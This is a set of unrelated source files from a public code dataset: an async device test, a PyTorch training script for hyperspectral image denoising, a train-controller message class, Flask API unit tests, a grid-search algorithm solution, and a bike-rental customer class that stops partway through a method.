RAVEnNetworkDevice(host, port) as dut:\n            with pytest.raises(Et.ParseError):\n                await dut.get_device_info()\n            actual = await dut.get_meter_list()\n\n    assert actual == MeterList(\n        device_mac_id=bytes.fromhex('0123456789ABCDEF'),\n        meter_mac_ids=[])\n\n\n@pytest.mark.asyncio\nasync def test_tcp_repr():\n    \"\"\"Verify representation of a network device.\"\"\"\n    async with mock_device() as (host, port):\n        async with RAVEnNetworkDevice(host, port) as dut:\n            assert 'RAVEnNetworkDevice' in str(dut)\n\n        reader, writer = await open_connection(host, port)\n        try:\n            assert 'RAVEnReader' in str(reader)\n            assert 'RAVEnWriter' in str(writer)\n        finally:\n            writer.close()\n","repo_name":"cottsay/aioraven","sub_path":"test/test_tcp.py","file_name":"test_tcp.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"638511243","text":"if __name__ == '__main__':\n    import os.path\n    import numpy as np\n    import torch\n    from torchvision.transforms import Compose\n    from torch.utils.data import DataLoader\n    import matplotlib.pyplot as plt\n    from model import init_weight, SMCNN\n    import yaml\n    import argparse\n    from utils import *\n    from metrics import _psnr, _ssim\n    import random\n    from tqdm import tqdm\n    from dataset_denoising import get_training_data\n    from losses import CharbonnierLoss, L1Loss, MSELoss, SmoothL1Loss, L1MSELoss, MSETVLoss, L1TVLoss,SSLoss\n    from torch.utils.tensorboard import SummaryWriter\n\n    torch.backends.cudnn.benchmark = True #data boyutu değişmediğinde runtime kısaltacak şekilde ayarlıyor? data boyutu değişire işe yaramayabilir.\n\n    random.seed(1234)\n    np.random.seed(1234)\n    torch.manual_seed(1234)\n    torch.cuda.manual_seed_all(1234)\n\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--config-file',help='path to the config file')\n    args = parser.parse_args()\n\n    with open(args.config_file) as fp:\n        config = yaml.safe_load(fp)\n        config = AttrDict(config)\n\n\n\n    checkpoint_path = config.checkpoint_path\n    num_epochs = config.epochs\n    learning_rate = config.lr\n    noise_level = config.noise_level\n    noise_type = config.noisy_type\n    batch_size = config.batch_size\n    patch_size = config.patch_shape\n    train_type = config.train_type\n    K = config.K\n    train_file = config.train_file\n    valid_file = config.valid_file\n    arch = config.arch\n    loss_type = config.loss\n    gpus = config.gpus\n    save_dir = config.save_dir\n\n\n    if not os.path.isdir(save_dir):\n        os.makedirs(save_dir)\n\n\n    ######### Set GPUs ###########\n    os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = gpus\n\n    # Get cpu or gpu device for training.\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    print(\"Using {} device\".format(device))\n\n\n    print('===> Loading datasets')\n    img_options_train = {'patch_size':patch_size[0], 'K':K}\n\n    train_data = get_training_data(train_file, img_options_train)\n    valid_data = get_training_data(valid_file, img_options_train)\n\n\n    train_dataloader = DataLoader(train_data, batch_size=batch_size, shuffle=True, drop_last=False, num_workers=8)\n    valid_dataloader = DataLoader(valid_data, batch_size=batch_size, shuffle=False, drop_last=False, num_workers=8)\n\n    len_trainset = train_dataloader.__len__()\n    len_valset = valid_dataloader.__len__()\n    print(\"Sizeof training set: \", len_trainset,\", sizeof validation set: \", len_valset)\n\n    if arch == 'SM-CNN':\n        model = SMCNN(config.num_conv2d_filters, config.num_conv3d_filters, config.num_convolutionblock_filters,\n                        config.K)\n        model.apply(init_weight)\n    else:\n        print('No model!')\n\n\n    ######### DataParallel ###########\n    model = torch.nn.DataParallel(model)\n    model.to(device)\n\n    #loss_fn = _loss\n    if loss_type == 'L1':\n        loss_fn = L1Loss().to(device)\n    elif loss_type == 'MSE':\n        loss_fn = MSELoss().to(device)\n    elif loss_type == 'SL1':\n        loss_fn = SmoothL1Loss().to(device)\n    elif loss_type == 'L1MSE':\n        loss_fn = L1MSELoss().to(device)\n    elif loss_type == 'CHAR':\n        loss_fn = CharbonnierLoss().to(device)\n    elif loss_type == 'MSETV':\n        loss_fn = MSETVLoss().to(device)\n    elif loss_type == 'L1TV':\n        loss_fn = L1TVLoss().to(device)\n    elif loss_type == 'SS':\n        loss_fn = SSLoss(alpha=0.9).to(device)\n    else:\n        assert 'Unexpected Loss!'\n\n    optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n    scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=40, gamma=0.1)\n\n    print(\"Training is \"+ train_type)\n    print(\"Loss is \"+loss_type)\n    print(\"Model is \"+arch)\n\n    sigmas = [10, 30, 50, 70]\n    blind_noise = AddNoiseBlind(sigmas)\n    complex_noise = Compose([\n        AddNoiseNoniid(sigmas),\n        SequentialSelect(\n            transforms=[\n                lambda x: x,\n                AddNoiseImpulse(),\n                AddNoiseStripe(),\n                AddNoiseDeadline()\n            ]\n        )\n    ])\n\n\n    def train(dataloader, model, loss_fn, optimizer):\n        model.train()\n        loss_train = 0\n        psnr = 0\n        ssim = 0\n        sample_count = 0\n        model.train()\n        for batch, (clean_band, spectral_volume) in enumerate(tqdm(dataloader)):\n\n            if noise_type == 'blind':\n                spectral_volume = blind_noise(spectral_volume)\n            elif noise_type == \"gauss\":\n                spectral_volume = torch_noise(spectral_volume, noise_level)\n            elif noise_type == \"complex\":\n                spectral_volume = complex_noise(spectral_volume)\n\n            spatial_image = spectral_volume[..., int(K / 2) - 1, :, :]\n\n            # send gpu\n            clean_band, spectral_volume = clean_band.to(device), spectral_volume.to(device)\n            spatial_image = spatial_image.to(device)\n\n            # Compute prediction error\n            dn_output = model(spatial_image, spectral_volume)\n            #dn_output = model(spectral_volume, bandwidth)\n            if train_type == 'n2c':\n                loss = loss_fn(clean_band, dn_output)\n            else:\n                assert 'Unexpected train!'\n            # Backpropagation\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n\n            loss_train += loss.item()\n            psnr += _psnr(clean_band,dn_output)\n            ssim += _ssim(clean_band,dn_output)\n            sample_count += 1\n            #print(f\"Progress: [{sample_count*len(clean_band):>5d}/{size:>5d}]\\n\")\n        scheduler.step()\n        average_loss = loss_train/sample_count\n        average_psnr = psnr/sample_count\n        average_ssim = ssim/sample_count\n        print(f\"Train loss: {average_loss:>7f}  mpsnr:{average_psnr:>5.3f} mssim:{average_ssim:>.3f}\\n\")\n        return average_loss, average_psnr, average_ssim\n\n    def test(dataloader, model, loss_fn):\n        size = len(dataloader.dataset)\n        model.train()\n        loss_test = 0\n        psnr = 0\n        ssim = 0\n        sample_count = 0\n        with torch.no_grad():\n            model.eval()\n            for batch, (clean_band, spectral_volume) in enumerate(tqdm(dataloader)):\n\n                if noise_type == 'blind':\n                    spectral_volume = blind_noise(spectral_volume)\n                elif noise_type == \"gauss\":\n                    spectral_volume = torch_noise(spectral_volume, noise_level)\n                elif noise_type == \"complex\":\n                    spectral_volume = complex_noise(spectral_volume)\n\n                spatial_image = spectral_volume[..., int(K / 2) - 1, :, :]\n                # send gpu\n                clean_band, spectral_volume = clean_band.to(device), spectral_volume.to(device)\n                spatial_image = spatial_image.to(device)\n\n                # Compute prediction error\n                dn_output = model(spatial_image, spectral_volume)\n                #residue = model(spectral_volume, bandwidth)\n                if train_type == 'n2c':\n                    loss = loss_fn(clean_band, dn_output)\n\n                loss_test += loss.item()\n                psnr += _psnr(clean_band, dn_output)\n                ssim += _ssim(clean_band, dn_output)\n                sample_count += 1\n                # print(f\"Progress: [{sample_count*len(clean_band):>5d}/{size:>5d}]\\n\")\n\n        average_loss = loss_test / sample_count\n        average_psnr = psnr / sample_count\n        average_ssim = ssim / sample_count\n        print(f\"Test loss: {average_loss:>7f}  mpsnr:{average_psnr:>5.3f} mssim:{average_ssim:>.3f}\\n\")\n        torch.cuda.empty_cache()\n        return average_loss, average_psnr, average_ssim\n\n\n    if os.path.isfile(checkpoint_path):\n        checkpoint = torch.load(checkpoint_path)\n        model.load_state_dict(checkpoint['model_state_dict'])\n        optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n        init_epoch = 0\n        best_loss = np.array(1e6)\n        print(f\"Checkpoint epoch {init_epoch:>3d} is loaded!\\n\")\n        print(checkpoint_path)\n    else:\n        init_epoch = 0\n        best_loss = np.array(1e6)\n        print('No checkpoint!')\n\n\n    writer = SummaryWriter(save_dir)\n\n    for t in range(init_epoch+1,num_epochs+1):\n        print(f\"Epoch {t}\\n-------------------------------\")\n        train_loss_avg, train_psnr_avg, train_ssim_avg = train(train_dataloader, model, loss_fn, optimizer)\n        writer.add_scalar('Train Loss', train_loss_avg, t)\n        writer.add_scalar('Train PSNR', train_psnr_avg, t)\n        writer.add_scalar('Train SSIM', train_ssim_avg, t)\n\n        test_loss_avg, test_psnr_avg, test_ssim_avg = test(valid_dataloader, model, loss_fn)\n        is_best = bool(test_loss_avg < best_loss)\n        writer.add_scalar('Test Loss', test_loss_avg, t)\n        writer.add_scalar('Test PSNR', test_psnr_avg, t)\n        writer.add_scalar('Test SSIM', test_ssim_avg, t)\n\n\n        if is_best:\n            best_loss = test_loss_avg\n\n            torch.save({\n                'epoch': t,\n                'model_state_dict': model.state_dict(),\n                'optimizer_state_dict': optimizer.state_dict(),\n                'loss': best_loss,\n                }, save_dir + '/' + train_type + '_model.pt')\n        if t in [10, 20, 30, 40, 50, 80, 100]:\n            torch.save({\n                'epoch': t,\n                'model_state_dict': model.state_dict(),\n                'optimizer_state_dict': optimizer.state_dict(),\n                'loss': best_loss,\n            }, save_dir + '/' + 'epoch_' + str(t) + '_model.pt')\n\n    print(\"Done!\")\n","repo_name":"orhan-t/SM-CNN","sub_path":"model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9708,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"26180494222","text":"from msg import msg\n\nclass to_TC(msg):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.__vars__ = []\n\t\tself.current_speed = None\n\t\tself.__vars__.append(self.current_speed)\n\t\tself.commanded_speed = None\n\t\tself.__vars__.append(self.commanded_speed)\n\t\tself.speed_limit = None\n\t\tself.__vars__.append(self.speed_limit)\n\t\tself.authority = None\n\t\tself.__vars__.append(self.authority)\n\t\tself.stationSide = None\n\t\tself.__vars__.append(self.stationSide)\n\t\tself.stationName = None\n\t\tself.__vars__.append(self.stationName)\n\t\tself.underground = None\n\t\tself.__vars__.append(self.underground)\n\t\tself.brake_failure = None\n\t\tself.__vars__.append(self.brake_failure)\n\t\tself.engine_failure = None\n\t\tself.__vars__.append(self.engine_failure)\n\t\tself.signalPickup_failure = None\n\t\tself.__vars__.append(self.signalPickup_failure)\n\t\tself.stationStop = None\n\t\tself.__vars__.append(self.stationStop)\n\t\tself.__data_types__.append(\"float\")\n\t\tself.__data_types__.append(\"float\")\n\t\tself.__data_types__.append(\"float\")\n\t\tself.__data_types__.append(\"float\")\n\t\tself.__data_types__.append(\"string\")\n\t\tself.__data_types__.append(\"string\")\n\t\tself.__data_types__.append(\"string\")\n\t\tself.__data_types__.append(\"bool\")\n\t\tself.__data_types__.append(\"bool\")\n\t\tself.__data_types__.append(\"bool\")\n\t\tself.__data_types__.append(\"bool\")\n\n\n\tdef serialize(self):\n\t\tself.__vars__[0] = self.current_speed\n\t\tself.__vars__[1] = self.commanded_speed\n\t\tself.__vars__[2] = self.speed_limit\n\t\tself.__vars__[3] = self.authority\n\t\tself.__vars__[4] = self.stationSide\n\t\tself.__vars__[5] = self.stationName\n\t\tself.__vars__[6] = self.underground\n\t\tself.__vars__[7] = self.brake_failure\n\t\tself.__vars__[8] = self.engine_failure\n\t\tself.__vars__[9] = self.signalPickup_failure\n\t\tself.__vars__[10] = self.stationStop\n\t\treturn self.__serialize__(self.__vars__)\n\n\tdef deserialize(self, buffer):\n\t\tself.__deserialize__(buffer, self.__vars__)\n\t\tself.current_speed = self.__vars__[0]\n\t\tself.commanded_speed = self.__vars__[1]\n\t\tself.speed_limit = self.__vars__[2]\n\t\tself.authority = self.__vars__[3]\n\t\tself.stationSide = self.__vars__[4]\n\t\tself.stationName = self.__vars__[5]\n\t\tself.underground = self.__vars__[6]\n\t\tself.brake_failure = self.__vars__[7]\n\t\tself.engine_failure = self.__vars__[8]\n\t\tself.signalPickup_failure = self.__vars__[9]\n\t\tself.stationStop = self.__vars__[10]\n","repo_name":"vism2889/ECE_1140_TRAINS","sub_path":"train_model/to_TC.py","file_name":"to_TC.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"33207465551","text":"import os\nimport unittest\nimport json\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import Flask\nfrom models import Band, Album, setup_db, db\nfrom app import create_app\nimport datetime\n\n\nclass BandAlbumRepoTest(unittest.TestCase):\n\n    def setUp(self):\n        self.app = create_app()\n        self.client = self.app.test_client\n        self.manager = os.environ.get('MANAGER_KEY')\n        self.readonly = os.environ.get('READONLY_KEY')\n        setup_db(self.app)\n        db.create_all()\n\n        self.test_band = {\n            'name': 'testname',\n            'city': 'testcity',\n            'state': 'MO'\n        }\n\n        self.test_album = {\n            'title': 'testalbum',\n            'band_id': 1\n        }\n\n        with self.app.app_context():\n            self.db = SQLAlchemy()\n            self.db.init_app(self.app)\n            self.db.create_all()\n\n    def tearDown(self):\n        pass\n\n    def test_get_bands_success(self):\n        test_band = Band(\n            name=self.test_band['name'],\n            city=self.test_band['city'],\n            state=self.test_band['state'])\n        test_band.insert()\n        res = self.client().get('/bands', headers={\n            \"Authorization\": \"Bearer {}\".format(self.manager)\n        })\n        self.assertEqual(res.status_code, 200)\n        test_band.delete()\n\n    # test get band failure no permissions\n    def test_get_bands_wrong_permissions(self):\n        res = self.client().get('/bands')\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test get albums success\n    def test_get_albums_success(self):\n        test_album = Album(\n            title=self.test_album['title'],\n            band_id=self.test_album['band_id'])\n        test_album.insert()\n        res = self.client().get('/albums', headers={\n            \"Authorization\": \"Bearer {}\".format(self.manager)\n        })\n        self.assertEqual(res.status_code, 200)\n        test_album.delete()\n\n    # test get albums failure\n\n    def test_get_albums_wrong_permissions(self):\n        res = self.client().get('/albums')\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test post band success\n    def test_post_new_band_success(self):\n        res = self.client().post('/bands', json=self.test_band, headers={\n            \"Authorization\": \"Bearer {}\".format(self.manager)\n        })\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 200)\n        self.assertTrue(data['success'])\n        Band.query.filter(Band.name == self.test_band['name']).delete()\n\n    # test post band failure (no authorization)\n    def test_post_new_band_failure(self):\n        res = self.client().post('/bands', json=self.test_band)\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test post album success\n    def test_post_new_album_success(self):\n        res = self.client().post('/albums', json=self.test_album, headers={\n            \"Authorization\": \"Bearer {}\".format(self.manager)\n        })\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 200)\n        self.assertTrue(data['success'])\n        Album.query.filter(Album.title == self.test_album['title']).delete()\n\n    # test post album failure\n    def test_post_new_album_failure(self):\n        res = self.client().post('/albums', json=self.test_album)\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test patch album success\n    def test_patch_album_success(self):\n        new_album = Album(\n            title=self.test_album['title'],\n            band_id=self.test_album['band_id'])\n        new_album.insert()\n\n        res = self.client().patch('/albums/{}'.format(new_album.id), json=self.test_album,\n                                  headers={\"Authorization\": \"Bearer {}\" .format(self.manager)})\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 200)\n        self.assertTrue(data['success'])\n        new_album.delete()\n\n    # test patch album failure\n    def test_patch_album_failure(self):\n        res = self.client().patch('/albums/1', json=self.test_album)\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test patch band success\n    def test_patch_band_success(self):\n        new_band = Band(\n            name=self.test_band['name'],\n            city=self.test_band['city'],\n            state=self.test_band['state'])\n        new_band.insert()\n\n        res = self.client().patch('/bands/{}'.format(new_band.id), json=self.test_band,\n                                  headers={\"Authorization\": \"Bearer {}\".format(self.manager)})\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 200)\n        self.assertTrue(data['success'])\n        new_band.delete()\n\n    # test patch band failure\n    def test_patch_band_failure(self):\n        res = self.client().patch('/bands/1', json=self.test_band)\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test delete band success\n    def test_delete_band_success(self):\n        new_band = Band(\n            name=self.test_band['name'],\n            city=self.test_band['city'],\n            state=self.test_band['state'])\n        new_band.insert()\n\n        res = self.client().delete('/bands/{}'.format(new_band.id), headers={\n            \"Authorization\": \"Bearer {}\".format(self.manager)\n        })\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 200)\n        self.assertTrue(data['success'])\n\n    # test delete band failure\n    def test_delete_band_failure(self):\n        res = self.client().delete('/bands/1')\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n    # test delete album success\n    def test_delete_album_success(self):\n        new_album = Album(\n            title=self.test_album['title'],\n            band_id=self.test_album['band_id'])\n        new_album.insert()\n\n        res = self.client().delete('/albums/{}'.format(new_album.id), headers={\n            \"Authorization\": \"Bearer {}\".format(self.manager)\n        })\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 200)\n        self.assertTrue(data['success'])\n\n    # test delete album failure\n    def test_delete_album_failure(self):\n        res = self.client().delete('/albums/1')\n        data = json.loads(res.data)\n        self.assertEqual(res.status_code, 401)\n        self.assertFalse(data['success'])\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"camueller79/full-stack-capstone","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":6855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18040987429","text":"from collections import deque\n\n# get inputs\nN = int(input(''))\nhouse = [[*map(int, input(''))] for _ in range(N)]\n# print(house)\n\n# initialization\nchecked = [[False] * N for _ in range(N)]\ngroup = deque()\ncounter = 0\ncounter_list = []\ndirections = [[1, 0], [0, 1], [-1, 0], [0, -1]]\n\nfor i in range(N):\n    for j in range(N):\n        if house[i][j] == 1 and not checked[i][j]:\n            checked[i][j] = True\n            group.append([i, j])\n            while group:\n                # print(group)\n                r, c = group.popleft()\n                for direction in directions:\n                    nr = r + direction[0]\n                    nc = c + direction[1]\n                    if nr >= 0 and nc >= 0 and nr < N and nc < N:\n                        if not checked[nr][nc] and house[nr][nc] == 1:\n                            group.append([nr, nc])\n                            checked[nr][nc] = True\n                            counter += 1\n            counter_list.append(counter+1)\n            counter = 0\n            \nprint(len(counter_list))\nfor length in sorted(counter_list):\n    print(length)","repo_name":"ririro93/algorithm_probs","sub_path":"Baekjoon/_old_solves/3rd_week/7-2667-numering/moon.py","file_name":"moon.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24099171397","text":"import PersonClass as Prs\n\n##################################################################\n# Class Name:  Customer\n# Abstract:    Blueprint for Customer, properties and behaviors\n##################################################################\nclass Customer(Prs.Person):\n\n    #Class variables\n    _intCustomerCount = 0  \n\n    ##################################################################\n    # Name:     __init__\n    # Abstract: Constructor - automatically called when instance of \n    #           class is created.\n    ##################################################################\n    def __init__(self, strLastName, strFirstName, strEmail, strPhone):\n\n        Prs.Person.__init__(self, strLastName, strFirstName)\n        self.strEmail       = strEmail\n        self.strPhone       = strPhone\n       \n        self.dblDebt = float(0)\n\n        \n        #Parallel lists to store renting information\n        self.__aintAmountRenting  = []             #list of amount of bikes  rentted\n        self.__astrTypeRented     = []             #list of types per rent\n        self.__aintRentsIDs       = []             #list of ID per rent\n        self.__ashpShpsRentedFrom = []             #list of shops rentet from\n        self.__ablnRenturned      = []             #list if rents were returned\n        \n        self.__objShopInterctingWith = None       #No business when created        \n\n        self._AdjustCount()\n\n\n\n    ###############\n    ##  PROPERTY ##\n    ###############\n\n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       strEmail\n    # Abstract:   Returns value of the \"encapsulated\" __strEmail\n    #######################################################################\n    @property\n    def strEmail(self):\n        return self.__strEmail \n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       strPhone\n    # Abstract:   Returns value of the \"encapsulated\" __strPhone\n    #######################################################################\n    @property\n    def strPhone(self):\n        return self.__strPhone\n\n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       dblDebt\n    # Abstract:   Returns value of the \"encapsulated\" __dblDebt\n    #######################################################################\n    @property\n    def dblDebt(self):\n        return self.__dblDebt\n\n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       aintAmountRenting\n    # Abstract:   Returns value of the \"encapsulated\" __aintAmountRenting\n    #######################################################################\n    @property\n    def aintAmountRenting(self):\n        return self.__aintAmountRenting\n\n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       astrTypeRented\n    # Abstract:   Returns value of the \"encapsulated\" __astrTypeRented\n    #######################################################################\n    @property\n    def astrTypeRented(self):\n        return self.__astrTypeRented\n\n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       aintRentsIDs\n    # Abstract:   Returns value of the \"encapsulated\" __aintRentsIDs\n    #######################################################################\n    @property\n    def aintRentsIDs(self):\n        return self.__aintRentsIDs\n\n\n    \n    #######################################################################\n    # Decoration: @property\n    # Name:       ashpShpsRentedFrom\n    # Abstract:   Returns value of the \"encapsulated\" __ashpShpsRentedFrom\n    #######################################################################\n    @property\n    def ashpShpsRentedFrom(self):\n        return self.__ashpShpsRentedFrom\n\n\n   \n    #######################################################################\n    # Decoration: @property\n    # Name:       ablnRenturned\n    # Abstract:   Returns value of the \"encapsulated\" __ablnRenturned\n    #######################################################################\n    @property\n    def ablnRenturned(self):\n        return self.__ablnRenturned\n\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       objShopInterctingWith\n    # Abstract:   Returns value of the \"encapsulated\" __objShopInterctingWith\n    #######################################################################\n    @property\n    def objShopInterctingWith(self):\n        return self.__objShopInterctingWith\n\n\n\n    ###############\n    ##  SETTER   ##\n    ############### \n\n\n\n\n\n    ##################################################################\n    # Decoration: @strEmail.setter\n    # Name:       strEmail\n    # Abstract:   Sets the value of the \"encapsulated\" __strEmail\n    ##################################################################\n    @strEmail.setter\n    def strEmail(self, strEmail):\n        \n        try:\n       \n            if (strEmail != \"\"):\n                self.__strEmail = strEmail\n\n            else:\n                raise RuntimeError('Email can not be an empty string.')\n       \n        except RuntimeError as error:\n\n            print(error)\n\n\n\n    ##################################################################\n    # Decoration: @strPhone.setter\n    # Name:       strPhone\n    # Abstract:   Sets the value of the \"encapsulated\" __strPhone\n    ##################################################################\n    @strPhone.setter\n    def strPhone(self, strPhone):\n        \n        try:\n       \n            if (strPhone != \"\"):\n                self.__strPhone = strPhone\n\n            else:\n                raise RuntimeError('Phone can not be an empty string.')\n       \n        except RuntimeError as error:\n\n            print(error)\n\n\n\n    ##################################################################\n    # Decoration: @objShopInterctingWith.setter\n    # Name:       objShopInterctingWith\n    # Abstract:   Sets the value of the \"encapsulated\" __objShopInterctingWith\n    ##################################################################\n    @objShopInterctingWith.setter\n    def objShopInterctingWith(self, objShop):\n        \n        try:\n              \n            if type(objShop).__name__ == 'Shop':\n                self.__objShopInterctingWith = objShop\n\n            else:\n                raise RuntimeError('Customer can only connect to shops.')\n       \n        except RuntimeError as error:\n\n            print(error)\n\n\n    ##################################################################\n    # Decoration: @dblDebt.setter\n    # Name:       dblDebt\n    # Abstract:   Sets the value of the \"encapsulated\" __dblDebt\n    ##################################################################\n    @dblDebt.setter\n    def dblDebt(self, strDebt):\n\n        try:\n            dblDebt = float(0)  \n\n            dblDebt = float(strDebt) \n        \n            if dblDebt >= 0: \n                self.__dblDebt = dblDebt   \n\n            else:\n                raise RuntimeError('Debt amount must be greater than 0.')\n\n\n        #ValueError - will catch errors if can not cast when 'dblDebt = float(strDebt)'\n        except ValueError as error:\n            dblDebt = float(0)\n            print(\"Debt must be a number.\")\n\n\n        #RuntimeError - will catch the raised error when Type price is not greater than 0 \n        except RuntimeError as error:\n            print(error)\n\n\n    ##################################################################\n    # Decoration: @aintAmountRenting.setter\n    # Name:       aintAmountRenting\n    # Abstract:   Sets the value of the \"encapsulated\" __aintAmountRenting\n    ##################################################################\n    @aintAmountRenting.setter\n    def aintAmountRenting(self, strAmountRenting):\n        \n        try:\n            intAmountRenting = int(0)  \n            intLength =  len(self.aintAmountRenting)\n            intAmountRenting = int(strAmountRenting) \n            if intAmountRenting > 0: \n                self.__aintAmountRenting[intLength] = intAmountRenting   \n\n            else:\n                raise RuntimeError('Amount rentted amount must be greater than 0.')\n\n\n        #ValueError - will catch errors if can not cast when 'intAmountRenting = int(strAmountRenting)'\n        except ValueError as error:\n            intAmountRenting = int(0)\n            print(\"The amount rentted must be a whole number.\")\n\n        except RuntimeError as error:\n\n            print(error)\n\n    \n       \n\n    ##################################################################\n    # Decoration: @ashpShpsRentedFrom.setter\n    # Name:       ashpShpsRentedFrom\n    # Abstract:   Sets the value of the \"encapsulated\" __ashpShpsRentedFrom\n    ##################################################################\n    @ashpShpsRentedFrom.setter\n    def ashpShpsRentedFrom(self, objShopRentedFrom):\n        \n        try:\n            if type(objShopRentedFrom).__name__ == 'Shop':\n\n                intLength =  len(self.ashpShpsRentedFrom)\n                self.__ashpShpsRentedFrom[intLength] = objShopRentedFrom\n                   \n            else:\n                raise RuntimeError('Shop rented from must be of type shop.')\n\n        except RuntimeError as error:\n\n            print(error)\n \n            \n\n    ##################################################################\n    # Decoration: @aintRentsIDs.setter\n    # Name:       aintRentsIDs\n    # Abstract:   Sets the value of the \"encapsulated\" __aintRentsIDs\n    ##################################################################\n    @aintRentsIDs.setter\n    def aintRentsIDs(self, strRentID):\n        \n        try:\n            intRentID = int(0)  \n            intLength =  len(self.aintRentsIDs)\n\n            intRentID = int(strRentID) \n            if intRentID > 0: \n                self.__aintRentsIDs[intLength] = intRentID   \n\n            else:\n                raise RuntimeError('Rent ID must be greater than 0.')\n\n\n        #ValueError - will catch errors if can not cast when 'intAmountRenting = int(strAmountRenting)'\n        except ValueError as error:\n            intRentID = int(0)\n            print(\"Rent ID rentted must be a whole number.\")\n\n        except RuntimeError as error:\n\n            print(error)\n\n    \n         \n\n    ##################################################################\n    # Decoration: @astrTypeRented.setter\n    # Name:       astrTypeRented\n    # Abstract:   Sets the value of the \"encapsulated\" __astrTypeRented\n    ##################################################################\n    @astrTypeRented.setter\n    def astrTypeRented(self, strTypeRented):\n        \n        try:\n       \n            if (strTypeRented ==\"H\" or strTypeRented ==\"D\" or strTypeRented ==\"W\" ): \n                intLength =  len(self.astrTypeRented)\n                self.__astrTypeRented[intLength] = strTypeRented\n\n            else:\n                raise RuntimeError('Rent type can only be \"H\", \"D\" or \"W\" only.')\n       \n        except RuntimeError as error:\n\n            print(error)\n\n        return\n\n    ##################################################################\n    # Decoration: @ablnRenturned.setter\n    # Name:       ablnRenturned\n    # Abstract:   Sets the value of the \"encapsulated\" __ablnRenturned\n    ##################################################################\n    @ablnRenturned.setter\n    def ablnRenturned(self, blnRenturned):\n        \n        try:\n       \n            if (blnRenturned == True or blnRenturned == False): \n                intLength =  len(self.ablnRenturned)\n                self.ablnRenturned[intLength] = blnRenturned\n\n            else:\n                raise RuntimeError('Return status can only be True or False.')\n       \n        except RuntimeError as error:\n\n            print(error)\n\n        return\n\n\n    #############################\n    ##  Regular class Methods  ##\n    ############################# \n    \n    ##################################################################\n    # Name:     _AdjustCount\n    # Abstract: Adds one to Shops count\n    ##################################################################\n    def _AdjustCount(self):\n        \n        Customer._intCustomerCount += 1\n\n        return\n\n\n    ##################################################################\n    # Name:       ValadateIsRentID\n    # Abstract:   Valadates RentID is in list aintRentsIDs\n    ##################################################################\n    def  ValadateIsRentID(self, strRentID):\n\n        blnReturn = False\n\n        for rentID in self.aintRentsIDs:\n            \n            if (strRentID == rentID):\n            \n                blnReturn =True\n                \n\n        return blnReturn \n\n\n    ##################################################################\n    # Name:       ValadateIsShop\n    # Abstract:   Valadates object is of type Shop\n    ##################################################################\n    def  ValadateIsShop(self, objShop):\n\n        blnReturn = False\n\n        if type(objShop).__name__ == 'Shop':\n            \n            blnReturn =True\n\n\n        return blnReturn\n\n\n\n    ##################################################################\n    # Name:       ValadateRentType\n    # Abstract:   Valadates rent's type\n    ##################################################################\n    def  ValadateRentType(self, strLetter):\n\n        blnReturn = False\n\n        if strLetter == \"H\" or strLetter == \"h\":\n            blnReturn = True\n\n        elif strLetter == \"D\" or strLetter == \"d\":\n            blnReturn = True\n\n        elif strLetter == \"W\" or strLetter == \"w\":\n            blnReturn = True\n\n\n        return blnReturn\n\n    \n\n    ##################################################################\n    # Name:       ValadatePositiveInteger\n    # Abstract:   Valadates input is a positive integer\n    ##################################################################\n    def ValidatePositiveInteger(self, strInput):\n\n        try:\n            blnReturn = False\n            intInput = int(0)  \n\n            intInput = int(strInput) \n        \n            if intInput > 0: \n                blnReturn = True\n\n        #ValueError - will catch errors if can not cast when 'intInput = int(strInput)'\n        except ValueError as error:\n            intInput = int(0)\n\n        return blnReturn\n\n\n\n    ##################################################################\n    # Name:     ConnectToShop\n    # Abstract: Connect To Shop by getting its shopID\n    ##################################################################\n    def ConnectToShop(self, objShop):                                              \n        try:\n\n            blnIsShop = False\n   